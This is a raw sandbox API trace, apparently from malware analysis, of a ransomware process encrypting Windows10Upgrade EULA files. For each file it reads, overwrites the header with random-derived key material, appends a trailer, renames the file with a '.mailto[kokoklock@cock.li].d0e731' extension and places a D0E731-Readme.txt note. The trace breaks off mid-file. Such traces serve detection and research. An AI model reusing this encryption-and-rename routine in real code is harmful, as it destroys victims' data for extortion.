(lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480660) returned 1 [0080.413] RtlExitUserThread (Status=0x1) Thread: id = 1010 os_tid = 0x16cc [0080.414] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm")) returned 0x20 [0080.414] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm", dwFileAttributes=0x20) returned 1 [0080.414] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0080.414] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2463f96c | out: lpFileSize=0x2463f96c*=84570) returned 1 [0080.414] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x14a56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.414] ReadFile (in: hFile=0x454, lpBuffer=0x2463f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2463f93c, lpOverlapped=0x0 | out: lpBuffer=0x2463f940*, lpNumberOfBytesRead=0x2463f93c*=0x4, lpOverlapped=0x0) returned 1 [0080.416] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34916c8 [0080.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491740 [0080.416] NtQuerySystemTime (in: CurrentTime=0x2463f918 | out: CurrentTime=0x2463f918*=132121176383028888) returned 0x0 [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x7d668101 [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x5fe45416 [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0xaec3e1e6 [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x6ecc5a94 [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x5d1fb578 [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x77272a4b [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x8be1a047 [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0xf04229dd [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x789f9f0d [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x79bebcc1 [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x9ced45f8 [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0xea7d16f9 [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x81cb3ef8 [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0xca77cf03 [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0xcad4bfbf [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0xdddceb5d [0080.416] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x44a48bac [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0xc3a57d2f [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0xee1537b4 [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x1a382a46 [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x2a9f36b0 [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x5330599b [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x4642b680 [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x6fdbac50 [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x59779662 [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0xc9f90a17 [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x4d6ed035 [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x64988ffa [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0xde4e1c55 [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0xef1c97b [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0xe8942dee [0080.417] RtlRandom (in: Seed=0x2463f924 | out: Seed=0x2463f924) returned 0x2dbeee8f [0080.428] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.428] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.428] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.428] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.428] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2463f8f0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2463f8f0*=0x4096, lpOverlapped=0x0) returned 1 [0080.429] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.429] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491498 [0080.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491498) returned 1 [0080.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.430] WriteFile (in: hFile=0x454, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2463f8f0, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2463f8f0*=0x4096, lpOverlapped=0x0) returned 1 [0080.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.430] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x14a5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.430] WriteFile (in: hFile=0x454, lpBuffer=0x3491628*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2463f928, lpOverlapped=0x0 | out: lpBuffer=0x3491628*, lpNumberOfBytesWritten=0x2463f928*=0x20, lpOverlapped=0x0) returned 1 [0080.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.430] WriteFile (in: hFile=0x454, lpBuffer=0x3491768*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2463f93c, lpOverlapped=0x0 | out: lpBuffer=0x3491768*, lpNumberOfBytesWritten=0x2463f93c*=0x8, lpOverlapped=0x0) returned 1 [0080.430] WriteFile (in: hFile=0x454, lpBuffer=0x2463f954*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2463f93c, lpOverlapped=0x0 | out: lpBuffer=0x2463f954*, lpNumberOfBytesWritten=0x2463f93c*=0x4, lpOverlapped=0x0) returned 1 [0080.430] WriteFile (in: hFile=0x454, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2463f93c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2463f93c*=0x4, lpOverlapped=0x0) returned 1 [0080.430] WriteFile (in: hFile=0x454, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2463f93c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2463f93c*=0x6c, lpOverlapped=0x0) returned 1 [0080.431] WriteFile (in: hFile=0x454, lpBuffer=0x34916c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2463f93c, lpOverlapped=0x0 | out: lpBuffer=0x34916c8*, lpNumberOfBytesWritten=0x2463f93c*=0x20, lpOverlapped=0x0) returned 1 [0080.431] WriteFile (in: hFile=0x454, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2463f93c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2463f93c*=0x4, lpOverlapped=0x0) returned 1 [0080.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34916c8) returned 1 [0080.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491768) returned 1 [0080.431] CloseHandle (hObject=0x454) returned 1 [0080.431] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.431] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" [0080.431] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.mailto[kokoklock@cock.li].d0e731" [0080.431] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.432] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.432] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm", dwFileAttributes=0x20) returned 0 [0080.432] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.432] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.432] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.432] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34807c8) returned 1 [0080.432] RtlExitUserThread (Status=0x1) Thread: id = 1011 os_tid = 0x16d0 [0080.428] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm")) returned 0x20 [0080.433] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm", dwFileAttributes=0x20) returned 1 [0080.433] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0080.434] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x246bfa0c | out: lpFileSize=0x246bfa0c*=69485) returned 1 [0080.434] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x10f69, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.434] ReadFile (in: hFile=0x454, lpBuffer=0x246bf9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x246bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x246bf9e0*, lpNumberOfBytesRead=0x246bf9dc*=0x4, lpOverlapped=0x0) returned 1 [0080.435] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34916c8 [0080.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491768 [0080.435] NtQuerySystemTime (in: CurrentTime=0x246bf9b8 | out: CurrentTime=0x246bf9b8*=132121176383341202) returned 0x0 [0080.435] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0xd7bb34f [0080.435] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0xd7ac0da4 [0080.435] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x68739e3e [0080.435] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x932aa4b5 [0080.435] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x5a2380c0 [0080.435] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x6018f415 [0080.435] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x876c5ed6 [0080.435] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x251a522a [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0xda70c863 [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0xac080db [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x36c921d1 [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x2080260a [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x56585c62 [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x6db8df01 [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0xbcd43ebb [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0xf0797ef [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x438e5e83 [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0xee44ef8b [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x42e00598 [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x70858b95 [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x9048b5fa [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0xb8d2d5de [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0xd058e06c [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x3172804b [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x5d65684a [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0xfed11d41 [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x723ecf47 [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x723ebe02 [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0xbf948f76 [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x44496170 [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0xea9d96bf [0080.436] RtlRandom (in: Seed=0x246bf9c4 | out: Seed=0x246bf9c4) returned 0x3dc263be [0080.447] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.447] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.447] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.447] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.447] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x246bf990, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x246bf990*=0x4096, lpOverlapped=0x0) returned 1 [0080.447] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491498 [0080.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491498) returned 1 [0080.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.448] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.448] WriteFile (in: hFile=0x454, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x246bf990, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x246bf990*=0x4096, lpOverlapped=0x0) returned 1 [0080.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.449] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x10f6d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.449] WriteFile (in: hFile=0x454, lpBuffer=0x3491628*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x246bf9c8, lpOverlapped=0x0 | out: lpBuffer=0x3491628*, lpNumberOfBytesWritten=0x246bf9c8*=0x20, lpOverlapped=0x0) returned 1 [0080.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.449] WriteFile (in: hFile=0x454, lpBuffer=0x3491790*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x246bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x3491790*, lpNumberOfBytesWritten=0x246bf9dc*=0x8, lpOverlapped=0x0) returned 1 [0080.449] WriteFile (in: hFile=0x454, lpBuffer=0x246bf9f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x246bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x246bf9f4*, lpNumberOfBytesWritten=0x246bf9dc*=0x4, lpOverlapped=0x0) returned 1 [0080.449] WriteFile (in: hFile=0x454, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x246bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x246bf9dc*=0x4, lpOverlapped=0x0) returned 1 [0080.449] WriteFile (in: hFile=0x454, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x246bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x246bf9dc*=0x6c, lpOverlapped=0x0) returned 1 [0080.450] WriteFile (in: hFile=0x454, lpBuffer=0x34916c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x246bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x34916c8*, lpNumberOfBytesWritten=0x246bf9dc*=0x20, lpOverlapped=0x0) returned 1 [0080.450] WriteFile (in: hFile=0x454, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x246bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x246bf9dc*=0x4, lpOverlapped=0x0) returned 1 [0080.450] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34916c8) returned 1 [0080.450] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.450] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491790) returned 1 [0080.450] CloseHandle (hObject=0x454) returned 1 [0080.450] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.450] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" [0080.450] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.mailto[kokoklock@cock.li].d0e731" [0080.450] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.451] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.451] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.451] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm", dwFileAttributes=0x20) returned 0 [0080.451] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.451] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.451] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.451] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.451] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.451] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc10) returned 1 [0080.451] RtlExitUserThread (Status=0x1) Thread: id = 1012 os_tid = 0x16d4 [0080.452] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm")) returned 0x20 [0080.452] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm", dwFileAttributes=0x20) returned 1 [0080.453] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0080.453] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2473fac0 | out: lpFileSize=0x2473fac0*=210254) returned 1 [0080.453] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x3354a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.453] ReadFile (in: hFile=0x454, lpBuffer=0x2473fa94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2473fa90, lpOverlapped=0x0 | out: lpBuffer=0x2473fa94*, lpNumberOfBytesRead=0x2473fa90*=0x4, lpOverlapped=0x0) returned 1 [0080.454] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34916c8 [0080.454] RtlAllocateHeap (HeapHandle=0x33c0000, 